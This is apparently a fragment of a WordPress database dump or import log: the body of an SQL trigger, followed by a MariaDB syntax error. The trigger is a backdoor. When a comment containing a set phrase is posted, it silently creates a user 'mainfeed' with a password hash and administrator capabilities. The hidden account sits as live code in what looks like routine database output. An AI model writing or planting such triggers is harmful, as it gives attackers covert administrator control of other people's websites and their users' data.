--------------
FOR EACH ROW BEGIN
    IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
        SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `u481962020_RIuL3`.`wp_users`);
        SET @nextWpUsersID = @lastInsertWpUsersId + 1;
        INSERT INTO `u481962020_RIuL3`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'mainfeed', '$P$7PXel/vGNON8B9PFPPXhyuXVFZTBUJ1', 'mainfeed', '', 'https://wordpress.com', '2019-12-20 22:46:36', '', '0', 'mainfeed');
        INSERT INTO `u481962020_RIuL3`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
        INSERT INTO `u481962020_RIuL3`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
    END IF;
 END 
*/
--------------

ERROR 1064 (42000) at line 555: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'EACH ROW BEGIN
    IF NEW.comment_content LIKE '%are you struggling to get co...' at line 1